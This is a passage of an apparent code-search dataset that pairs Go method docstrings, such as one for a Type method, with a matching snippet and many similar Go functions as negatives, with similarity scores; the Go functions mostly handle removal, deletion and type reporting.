*QueuedChan) remove(cmd *queuedChanRemoveCmd) {\n\t// Get object count before remove.\n\tcount := c.List.Len()\n\t// Iterate list.\n\tfor i := c.Front(); i != nil; {\n\t\tvar re *list.Element\n\t\t// Filter object.\n\t\tok, cont := cmd.f(i.Value)\n\t\tif ok {\n\t\t\tre = i\n\t\t}\n\t\t// Next element.\n\t\ti = i.Next()\n\t\t// Remove element\n\t\tif nil != re {\n\t\t\tc.List.Remove(re)\n\t\t}\n\t\t// Continue\n\t\tif !cont {\n\t\t\tbreak\n\t\t}\n\t}\n\t// Update channel length\n\tatomic.StoreInt32(&c.len, int32(c.List.Len()))\n\t// Return removed object number.\n\tcmd.r <- count - c.List.Len()\n}", "func (r *remove) Execute(cfg *config.Config, logger *log.Logger) error {\n\tlogger.Printf(\"Removing %s\\n\", r.args[0])\n\n\tpathToDelete := r.args[0]\n\tif expandedPath, err := pathutil.Expand(pathToDelete); err == nil {\n\t\tpathToDelete = expandedPath\n\t}\n\treturn os.RemoveAll(pathToDelete)\n}", "func (i IntHashMap[T, V]) Remove(key T) {\n\thash := key.Hash()\n\tdelete(i.hashToKey, hash)\n\tdelete(i.hashToVal, hash)\n}", "func (i StringHashMap[T, V]) Remove(key T) {\n\thash := key.Hash()\n\tdelete(i.hashToKey, hash)\n\tdelete(i.hashToVal, hash)\n}", "func (c *jsiiProxy_CfnStack) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}", "func (c *jsiiProxy_CfnStack) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}", "func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tif len(oa) == 1 {\n\t\tfor _, v := range oa {\n\t\t\treturn value.NewValue(v), nil\n\t\t}\n\t}\n\n\treturn value.NULL_VALUE, nil\n}", "func (s *PBFTServer) removeEntry(id entryID) {\n\tdelete(s.log, id)\n}", "func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\n\tkv.mu.Lock()\n\tdefer kv.mu.Unlock()\n\n\tvar args Op\n\targs = msg.Command.(Op)\n\tif kv.op_count[args.Client] >= args.Id {\n\t\tDPrintf(\"Duplicate operation\\n\")\n\t}else {\n\t\tswitch args.Type {\n\t\tcase OpPut:\n\t\t\tDPrintf(\"Put Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = args.Value\n\t\tcase OpAppend:\n\t\t\tDPrintf(\"Append Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = kv.data[args.Key] + args.Value\n\t\tdefault:\n\t\t}\n\t\tkv.op_count[args.Client] = args.Id\n\t}\n\n\t//DPrintf(\"@@@Index:%v len:%v content:%v\\n\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\n\t//DPrintf(\"@@@kv.pendingOps[%v]:%v\\n\", msg.Index, kv.pendingOps[msg.Index])\n\tfor _, i := range kv.pendingOps[msg.Index] {\n\t\tif i.op.Client==args.Client && i.op.Id==args.Id {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <- true\n\t\t}else {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <-false\n\t\t}\n\t}\n\tdelete(kv.pendingOps, msg.Index)\n}", "func (storage *Storage) remove(e *list.Element) {\n\tdelete(storage.cache, e.Value.(*payload).Key)\n\tstorage.lruList.Remove(e)\n}", "func (entries *Entries) delete(key uint64) Entry {\n\ti := entries.search(key)\n\tif i == len(*entries) { // key not found\n\t\treturn nil\n\t}\n\n\tif (*entries)[i].Key() != key {\n\t\treturn nil\n\t}\n\n\toldEntry := (*entries)[i]\n\tcopy((*entries)[i:], (*entries)[i+1:])\n\t(*entries)[len(*entries)-1] = nil // GC\n\t*entries = (*entries)[:len(*entries)-1]\n\treturn oldEntry\n}", "func Remove(table string, tx *sql.Tx, fieldKey string) error {\n\tctx := context.Background()\n\tvar row DemoRow\n\trow.FieldKey = fieldKey\n\tfm, err := NewFieldsMap(table, &row)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = fm.SQLDeleteByPriKey(ctx, tx, db)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (c *Client) FilterEntryDel(tenant, filter, entry string) error {\n\n\tme := \"FilterEntryDel\"\n\n\tdnF := dnFilter(tenant, filter)\n\tdn := dnFilterEntry(tenant, filter, entry)\n\n\tapi := \"/api/node/mo/uni/\" + dnF + \".json\"\n\n\turl := c.getURL(api)\n\n\tj := fmt.Sprintf(`{\"vzFilter\":{\"attributes\":{\"dn\":\"uni/%s\",\"status\":\"modified\"},\"children\":[{\"vzEntry\":{\"attributes\":{\"dn\":\"uni/%s\",\"status\":\"deleted\"}}}]}}`,\n\t\tdnF, dn)\n\n\tc.debugf(\"%s: url=%s json=%s\", me, url, j)\n\n\tbody, errPost := c.post(url, contentTypeJSON, bytes.NewBufferString(j))\n\tif errPost != nil {\n\t\treturn fmt.Errorf(\"%s: %v\", me, errPost)\n\t}\n\n\tc.debugf(\"%s: reply: %s\", me, string(body))\n\n\treturn parseJSONError(body)\n}", "func (sm sharedMap) Remove(k string) {\n\tsm.c <- command{action: remove, key: k}\n}", "func Remove(ctx context.Context, db *sql.DB, key []byte) error {\n\tctx, cancel := context.WithDeadline(ctx, time.Now().Add(3*time.Second))\n\tdefer cancel()\n\tquery := \"DELETE FROM keys WHERE key=?\"\n\t_, err := db.ExecContext(ctx, query, string(key))\n\tif err != nil {\n\t\treturn errors.Errorf(\"could not delete key=%q: %w\", string(key), err).WithField(\"query\", query)\n\t}\n\n\treturn nil\n}", "func (n *node) del(view *View, pred func(x, y float64, e interface{}) bool, inPtr *subtree, r *root) {\n\tallEmpty := true\n\tfor i := range n.children {\n\t\tif n.children[i].View().overlaps(view) {\n\t\t\tn.children[i].del(view, pred, &n.children[i], r)\n\t\t}\n\t\tallEmpty = allEmpty && n.children[i].isEmptyLeaf()\n\t}\n\tif allEmpty && inPtr != nil {\n\t\tvar l subtree\n\t\tl = r.newLeaf(n.View()) // TODO Think hard about whether this could error out\n\t\t*inPtr = l\n\t\tr.recycleNode(n)\n\t}\n\treturn\n}", "func (tr *Tree) Remove(cell store_pb.RecordID, data unsafe.Pointer) {\n\tif tr.root == nil {\n\t\treturn\n\t}\n\tif tr.remove(tr.root, cell, data, 128-nBits) {\n\t\ttr.len--\n\t}\n}", "func (k *MutableKey) Remove(val uint64) {\n\tdelete(k.vals, val)\n\tk.synced = false\n}", "func (tb *tableManager) markRemove(keyIn uint64) error {\n\tvar err error\n\tvar entry *tableEntry\n\tentry, err = tb.getEntry(keyIn)\n\tif err != nil {\n\t\tlog.Println(\"Could not obtain entry.\")\n\t\treturn errors.New(\"Could not obtain entry.\")\n\t}\n\terr = tb.write(keyIn, nil)\n\tif err != nil {\n\t\tlog.Println(\"Could not write nil to entry for removal.\")\n\t\treturn errors.New(\"Marking for removal failed.\")\n\t}\n\tentry.flags = flagDirty | flagRemove\n\treturn nil\n}", "func (c FileCollector) Remove(k string) {\n\tif c.Has(k) {\n\t\tdelete(c, k)\n\t}\n}", "func (c *jsiiProxy_CfnLayer) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}", "func (_m *requestHeaderMapUpdatable) Remove(name string) {\n\t_m.Called(name)\n}", "func (r *Ring) Remove(ctx context.Context, value string) error {\n\tfor {\n\t\tif err := ctx.Err(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tresp, err := r.client.Get(ctx, path.Join(r.Name, value))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif len(resp.Kvs) == 0 {\n\t\t\treturn nil\n\t\t}\n\t\tif string(resp.Kvs[0].Value) != r.backendID {\n\t\t\treturn ErrNotOwner\n\t\t}\n\t\tcmps, ops, err := r.getRemovalOps(ctx, value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif len(ops) == 0 {\n\t\t\treturn nil\n\t\t}\n\t\t// Ensure the owner has not changed\n\t\teqCmp := clientv3.Compare(clientv3.Value(path.Join(r.Name, value)), \"=\", r.backendID)\n\t\t// Delete the ownership assertion\n\t\tdelOp := clientv3.OpDelete(path.Join(r.Name, value))\n\t\tops = append(ops, delOp)\n\t\tcmps = append(cmps, eqCmp)\n\t\tresponse, err := r.kv.Txn(ctx).If(cmps...).Then(ops...).Commit()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif response.Succeeded {\n\t\t\treturn nil\n\t\t}\n\t}\n}", "func (c *jsiiProxy_CfnRepository) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}", "func (m BoolMemConcurrentMap) Remove(key string) {\n\t// Try to get shard.\n\tshard := m.getShard(key)\n\tshard.Lock()\n\tdelete(shard.items, key)\n\tshard.Unlock()\n}", "func (c *TimeoutCache) removeElement(e *list.Element) {\n\tc.evictList.Remove(e)\n\tkv := e.Value.(*entry)\n\tdelete(c.items, kv.key)\n}", "func (r *RecordCache) remove(response Response) {\n\tkey := response.FormatKey()\n\tLogger.Log(NewLogMessage(\n\t\tDEBUG,\n\t\tLogContext{\n\t\t\t\"what\": \"removing cache entry\",\n\t\t\t\"key\": key,\n\t\t},\n\t\tfunc() string { return fmt.Sprintf(\"resp [%v] cache [%v]\", response, r) },\n\t))\n\tdelete(r.cache, key)\n\tCacheSizeGauge.Set(float64(len(r.cache)))\n}", "func (s *Service) RemoveEntry(entry ytfeed.Entry) error {\n\tif err := s.Store.ResetProcessed(entry); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to reset processed entry %s\", entry.VideoID)\n\t}\n\tif err := s.Store.Remove(entry); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to remove entry %s\", entry.VideoID)\n\t}\n\treturn nil\n}", "func (a *AliasCmd) handleRemove(args []string) error {\n\t// first element in the slice is the name of the command itself and always exists\n\tswitch len(args) {\n\tcase 1:\n\t\t// we remove it for current entry\n\t\tcurrentPub, currentProvPub := a.getCurrentRecipientKeys()\n\t\tif currentPub != nil && currentProvPub != nil {\n\t\t\tgui.WriteNotice(\"removing alias for current recipient\\n\", a.g)\n\t\t\ta.store.RemoveAliasByKeys(currentPub, currentProvPub)\n\t\t\ta.session.UpdateAlias(\"\")\n\t\t\treturn nil\n\t\t} else {\n\t\t\treturn ErrMalformedRecipient\n\t\t}\n\tcase 2:\n\t\tif args[1] == allModifier {\n\t\t\tgui.WriteNotice(\"removing ALL stored aliases\\n\", a.g)\n\t\t\ta.store.RemoveAllAliases()\n\t\t\ta.session.UpdateAlias(\"\")\n\t\t\treturn nil\n\t\t} else {\n\t\t\treturn ErrInvalidArguments\n\t\t}\n\tcase 3:\n\t\ttargetKey, targetProvKey := a.getTargetKeysFromStrings(args[1], args[2])\n\t\tif targetKey != nil && targetProvKey != nil {\n\t\t\tgui.WriteNotice(\"removing alias for the specified client...\\n\", a.g)\n\t\t\ta.store.RemoveAliasByKeys(targetKey, targetProvKey)\n\t\t\t// check if the target is not the same as current session recipient\n\t\t\tif bytes.Equal(targetKey.Bytes(), a.session.Recipient().PubKey) {\n\t\t\t\ta.session.UpdateAlias(\"\")\n\t\t\t}\n\t\t\treturn nil\n\t\t} else {\n\t\t\treturn ErrInvalidArguments\n\t\t}\n\tdefault:\n\t\treturn ErrInvalidArguments\n\t}\n}", "func (r *Rack) Remove(tiles ...Tile) {\n\tfor _, t := range tiles {\n\t\tfor i, rt := range *r {\n\t\t\tif rt == t {\n\t\t\t\t*r = append((*r)[0:i], (*r)[i+1:]...)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n}", "func (c *Cache) removeElement(e *list.Element) {\n\tc.evictList.Remove(e)\n}", "func (c *jsiiProxy_CfnRegistry) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}", "func (b *CompactableBuffer) Remove(address *EntryAddress) error {\n\taddress.LockForWrite()\n\tdefer address.UnlockWrite()\n\tresult := b.removeWithoutLock(address)\n\treturn result\n}", "func (ttlmap *TTLMap) Remove(key interface{}) {\n\tttlmap.eMutex.Lock()\n\tdefer ttlmap.eMutex.Unlock()\n\tdelete(ttlmap.entries, key)\n\n\t// remember to clean up the schedule\n\tttlmap.clearSchedule(key)\n}" ]
[ "0.61998373", "0.6139022", "0.6055997", "0.58907413", "0.57393616", "0.57043344", "0.57022506", "0.5476533", "0.541743", "0.54100955", "0.5402497", "0.53967893", "0.5392479", "0.53845805", "0.5363437", "0.53340185", "0.53083384", "0.5291283", "0.52203333", "0.52150726", "0.52088714", "0.5187291", "0.5179542", "0.5176508", "0.5170255", "0.5162624", "0.5162021", "0.5157217", "0.5131768", "0.51271594", "0.512056", "0.5113897", "0.5109062", "0.51041985", "0.508178", "0.5072388", "0.5069425", "0.5059304", "0.505899", "0.5058461", "0.5052942", "0.5047819", "0.50474924", "0.50304407", "0.50268024", "0.50234956", "0.5019659", "0.49954975", "0.49954975", "0.4986063", "0.49858463", "0.49768242", "0.49731413", "0.49678323", "0.496497", "0.4957073", "0.4956046", "0.4945844", "0.49441954", "0.49395323", "0.49271116", "0.49242824", "0.49216247", "0.49215674", "0.49179476", "0.49145985", "0.49139777", "0.49100253", "0.4908925", "0.4907184", "0.49059412", "0.49059412", "0.48979095", "0.48933965", "0.4891374", "0.48814362", "0.48746917", "0.4874416", "0.4866416", "0.48615107", "0.4859573", "0.48573565", "0.48518655", "0.48511374", "0.48507154", "0.48495346", "0.48483813", "0.48462677", "0.48450798", "0.4838491", "0.48256323", "0.48253337", "0.4823162", "0.48206326", "0.48174852", "0.48081985", "0.48074555", "0.48011872", "0.47992322", "0.47991708" ]
0.81472254
0
Type will return the type of operation
func (op *OpRemove) Type() string { return "remove" }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (op *OperationProperty) Type() string {\n\treturn \"github.com/wunderkraut/radi-api/operation.Operation\"\n}", "func (op *OpAdd) Type() string {\n\treturn \"add\"\n}", "func (op *ConvertOperation) Type() OpType {\n\treturn TypeConvert\n}", "func (op *TotalCommentRewardOperation) Type() OpType {\n\treturn TypeTotalCommentReward\n}", "func (m *EqOp) Type() string {\n\treturn \"EqOp\"\n}", "func (op *CommitteePayRequestOperation) Type() OpType {\n\treturn TypeCommitteePayRequest\n}", "func (op *ProducerRewardOperationOperation) Type() OpType {\n\treturn TypeProducerRewardOperation\n}", "func (op *TransitToCyberwayOperation) Type() OpType {\n\treturn TypeTransitToCyberway\n}", "func (op *AuthorRewardOperation) Type() OpType {\n\treturn TypeAuthorReward\n}", "func (m *StartsWithCompareOperation) Type() string {\n\treturn \"StartsWithCompareOperation\"\n}", "func (op *OpFlatten) Type() string {\n\treturn \"flatten\"\n}", "func (op *ProposalCreateOperation) Type() OpType {\n\treturn TypeProposalCreate\n}", "func (m *IPInRangeCompareOperation) Type() string {\n\treturn \"IpInRangeCompareOperation\"\n}", "func (m *OperativeMutation) Type() string {\n\treturn m.typ\n}", "func getOperationType(op iop.OperationInput) (operationType, error) {\n\thasAccount := op.Account != nil\n\thasTransaction := op.Transaction != nil\n\tif hasAccount == hasTransaction {\n\t\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \"account\" or \"transaction\" fields set`)\n\t}\n\tif hasAccount {\n\t\treturn operationTypeCreateAccount, nil\n\t}\n\treturn operationTypePerformTransaction, nil\n}", "func (m *DirectoryAudit) GetOperationType()(*string) {\n return m.operationType\n}", "func (op *FillVestingWithdrawOperation) Type() OpType {\n\treturn TypeFillVestingWithdraw\n}", "func (d *DarwinKeyOperation) Type() string {\n\treturn d.KeyType\n}", "func (op *ClaimRewardBalanceOperation) Type() OpType {\n\treturn TypeClaimRewardBalance\n}", "func (m *OperativerecordMutation) Type() string {\n\treturn m.typ\n}", "func (*Int) GetOp() string { return \"Int\" }", "func (m *UnaryOperatorOrd) Type() Type {\n\treturn IntType{}\n}", "func (op *ResetAccountOperation) Type() OpType {\n\treturn TypeResetAccount\n}", "func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }", "func (r *RegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (b *BitOp) Type() sql.Type {\n\trTyp := b.Right.Type()\n\tif types.IsDeferredType(rTyp) {\n\t\treturn rTyp\n\t}\n\tlTyp := b.Left.Type()\n\tif types.IsDeferredType(lTyp) {\n\t\treturn lTyp\n\t}\n\n\tif types.IsText(lTyp) || types.IsText(rTyp) {\n\t\treturn types.Float64\n\t}\n\n\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\n\t\treturn types.Uint64\n\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\n\t\treturn types.Int64\n\t}\n\n\treturn types.Float64\n}", "func (s Spec) Type() string {\n\treturn \"exec\"\n}", "func (op *RecoverAccountOperation) Type() OpType {\n\treturn TypeRecoverAccount\n}", "func (m *UnaryOperatorLen) Type() Type {\n\treturn IntType{}\n}", "func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}", "func (m *ToolMutation) Type() string {\n\treturn m.typ\n}", "func (cmd Command) Type() string {\n\treturn cmd.MessageType\n}", "func (p RProc) Type() Type { return p.Value().Type() }", "func (r *Rdispatch) Type() int8 {\n\treturn RdispatchTpe\n}", "func (m *BinaryOperatorMod) Type() Type {\n\treturn IntType{}\n}", "func (op *ReportOverProductionOperation) Type() OpType {\n\treturn TypeReportOverProduction\n}", "func (e *CustomExecutor) GetType() int {\n\treturn model.CommandTypeCustom\n}", "func (m *BinaryOperatorAdd) Type() Type {\n\treturn IntType{}\n}", "func (n *NotRegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (e *EqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (expr *ExprXor) Type() types.Type {\n\treturn expr.X.Type()\n}", "func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}", "func (fn *Function) Type() ObjectType {\n\treturn ObjectTypeFunction\n}", "func (m *UnaryOperatorNegate) Type() Type {\n\treturn IntType{}\n}", "func (fn NoArgFunc) Type() Type { return fn.SQLType }", "func (e *ExprXor) Type() types.Type {\n\treturn e.X.Type()\n}", "func (m *BinaryOperatorDiv) Type() Type {\n\treturn IntType{}\n}", "func (f *FunctionLike) Type() string {\n\tif f.macro {\n\t\treturn \"macro\"\n\t}\n\treturn \"function\"\n}", "func (l *LessEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (op *OpMove) Type() string {\n\treturn \"move\"\n}", "func (execution *Execution) GetType() (execType string) {\n\tswitch strings.ToLower(execution.Type) {\n\tcase \"\":\n\t\tfallthrough\n\tcase \"local\":\n\t\texecType = \"local\"\n\tcase \"remote\":\n\t\texecType = \"remote\"\n\tdefault:\n\t\tpanic(execution)\n\t}\n\n\treturn\n}", "func (g *generator) customOperationType() error {\n\top := g.aux.customOp\n\tif op == nil {\n\t\treturn nil\n\t}\n\topName := op.message.GetName()\n\n\tptyp, err := g.customOpPointerType()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp := g.printf\n\n\tp(\"// %s represents a long running operation for this API.\", opName)\n\tp(\"type %s struct {\", opName)\n\tp(\" proto %s\", ptyp)\n\tp(\"}\")\n\tp(\"\")\n\tp(\"// Proto returns the raw type this wraps.\")\n\tp(\"func (o *%s) Proto() %s {\", opName, ptyp)\n\tp(\" return o.proto\")\n\tp(\"}\")\n\n\treturn nil\n}", "func (m *BinaryOperatorBitOr) Type() Type {\n\treturn IntType{}\n}", "func (i *InOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\n return m.operationType\n}", "func (obj *standard) Operation() Operation {\n\treturn obj.op\n}", "func (f *Function) Type() ObjectType {\n\treturn FUNCTION\n}", "func (r *Reconciler) Type() string {\n\treturn Type\n}", "func (f *Filter) GetType() FilterOperator {\n\treturn f.operator\n}", "func (m *SystemMutation) Type() string {\n\treturn m.typ\n}", "func (f *Function) Type() ObjectType { return FUNCTION_OBJ }", "func (r ExecuteServiceRequest) Type() RequestType {\n\treturn Execute\n}", "func (m *BinaryOperatorOr) Type() Type {\n\treturn BoolType{}\n}", "func (l *LikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}", "func (m *OrderproductMutation) Type() string {\n\treturn m.typ\n}", "func (m *BinaryOperatorMult) Type() Type {\n\treturn IntType{}\n}", "func (p *createPlan) Type() string {\n\treturn \"CREATE\"\n}", "func (m *CarserviceMutation) Type() string {\n\treturn m.typ\n}", "func (m *CarCheckInOutMutation) Type() string {\n\treturn m.typ\n}", "func (op *OpRetain) Type() string {\n\treturn \"retain\"\n}", "func (m *OrderonlineMutation) Type() string {\n\treturn m.typ\n}", "func (o *WorkflowCliCommandAllOf) GetType() string {\n\tif o == nil || o.Type == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Type\n}", "func (expr *ExprOr) Type() types.Type {\n\treturn expr.X.Type()\n}", "func (Instr) Type() sql.Type { return sql.Int64 }", "func (m *TypeproductMutation) Type() string {\n\treturn m.typ\n}", "func (n *NotLikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn this.Operand().Type()\n}", "func (m *FinancialMutation) Type() string {\n\treturn m.typ\n}", "func (p *insertPlan) Type() string {\n\treturn \"INSERT\"\n}", "func (m *ResourceMutation) Type() string {\n\treturn m.typ\n}", "func (g *GreaterThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (typ OperationType) String() string {\n\tswitch typ {\n\tcase Query:\n\t\treturn \"query\"\n\tcase Mutation:\n\t\treturn \"mutation\"\n\tcase Subscription:\n\t\treturn \"subscription\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"OperationType(%d)\", int(typ))\n\t}\n}", "func (m *HexMutation) Type() string {\n\treturn m.typ\n}", "func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\n\tltype, err := b.Left.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trtype, err := b.Right.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ttyp := mergeNumericalTypes(ltype, rtype)\n\treturn b.Op.Type(typ), nil\n}", "func (m *ZoneproductMutation) Type() string {\n\treturn m.typ\n}", "func (m *StockMutation) Type() string {\n\treturn m.typ\n}", "func (o *Function) Type() *Type {\n\treturn FunctionType\n}", "func (m *ManagerMutation) Type() string {\n\treturn m.typ\n}", "func (l *LessThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func GetOperatorType() OperatorType {\n\tswitch {\n\tcase IsOperatorGo():\n\t\treturn OperatorTypeGo\n\tcase IsOperatorAnsible():\n\t\treturn OperatorTypeAnsible\n\tcase IsOperatorHelm():\n\t\treturn OperatorTypeHelm\n\t}\n\treturn OperatorTypeUnknown\n}", "func (e REnv) Type() Type { return e.Value().Type() }", "func (m *CompetenceMutation) Type() string {\n\treturn m.typ\n}", "func (op *GenericOperation) Kind() uint8 {\n\t// Must be at least long enough to get the kind byte\n\tif len(op.hex) <= 33 {\n\t\treturn opKindUnknown\n\t}\n\n\treturn op.hex[33]\n}", "func (c *Call) Type() Type {\n\treturn c.ExprType\n}", "func (n *NullSafeEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\n return m.operationType\n}", "func (m *PromotiontypeMutation) Type() string {\n\treturn m.typ\n}", "func (m *BinaryOperatorSub) Type() Type {\n\treturn IntType{}\n}", "func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\n\treturn querypb.Type_INT32, nil\n}" ]
[ "0.73397994", "0.7331954", "0.72103316", "0.70835686", "0.7061754", "0.6980852", "0.69322", "0.68823165", "0.6846249", "0.684079", "0.68392855", "0.6821877", "0.67526066", "0.6746585", "0.674267", "0.6730284", "0.67165416", "0.6710324", "0.66475177", "0.66334957", "0.6620575", "0.6574164", "0.6569285", "0.6566755", "0.6531823", "0.65267223", "0.6524067", "0.6494353", "0.6476448", "0.6455802", "0.64514893", "0.64397943", "0.64392865", "0.64281154", "0.6419435", "0.6413713", "0.63886774", "0.63807184", "0.6375125", "0.6373742", "0.63721126", "0.63579583", "0.63417757", "0.6332697", "0.6328391", "0.6324545", "0.631497", "0.62952644", "0.62910163", "0.62861925", "0.62844765", "0.6274955", "0.62650305", "0.62640405", "0.62523085", "0.6252087", "0.6239459", "0.62389636", "0.6229541", "0.62033015", "0.6200374", "0.61991316", "0.6193402", "0.61895406", "0.61791986", "0.6175558", "0.6175285", "0.61724573", "0.61557966", "0.61456096", "0.61413467", "0.6141278", "0.6140642", "0.61386997", "0.61329275", "0.61257845", "0.6124157", "0.6117993", "0.61164016", "0.6114104", "0.611341", "0.6112936", "0.6107847", "0.6092411", "0.6090323", "0.6079666", "0.6078997", "0.607785", "0.6074464", "0.60626715", "0.6057602", "0.60575134", "0.6047113", "0.60389787", "0.603745", "0.60356474", "0.60354406", "0.6028229", "0.60229194", "0.6016492" ]
0.6549322
24
UnmarshalJSON will unmarshal JSON into a remove operation
func (op *OpRemove) UnmarshalJSON(raw []byte) error { return json.Unmarshal(raw, &op.Field) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (v *RemoveUserData) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecode20191OPGPlus2InternalPkgModels14(&r, v)\n\treturn r.Error()\n}", "func (v *RemoveSymbolFromWatchlistRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(&r, v)\n\treturn r.Error()\n}", "func (j *DeleteQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *DeleteQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (a *ActivityExternalUserRemoved) UnmarshalJSON(b []byte) error {\n\tvar helper activityExternalUserRemovedUnmarshalHelper\n\tif err := json.Unmarshal(b, &helper); err != nil {\n\t\treturn err\n\t}\n\ta.RemovedUser = helper.Relationships.RemovedUser.Data\n\treturn nil\n}", "func (l *List) UnsetKeyJSON(json interface{}) (err error) {\n\tkey := MakeZeroValue(&IntType{})\n\n\tif err := key.Set(json); err != nil {\n\t\treturn err\n\t}\n\n\treturn l.UnsetKey(key)\n}", "func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *deleteByQuery) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson390b7126DecodeGithubComChancedPicker39(&r, v)\n\treturn r.Error()\n}", "func (j *UnInstallPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *Json) UnmarshalJSON(data []byte) error {\n\terr := json.Unmarshal(data, &j.data)\n\n\tj.exists = (err == nil)\n\treturn err\n}", "func (v *EventPipelineDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk25(&r, v)\n\treturn r.Error()\n}", "func (v *EventApplicationDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk21(&r, v)\n\treturn r.Error()\n}", "func (j *InstallCancelPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (future *IotHubResourceDeleteFuture) UnmarshalJSON(body []byte) error {\n\tvar azFuture azure.Future\n\tif err := json.Unmarshal(body, &azFuture); err != nil {\n\t\treturn 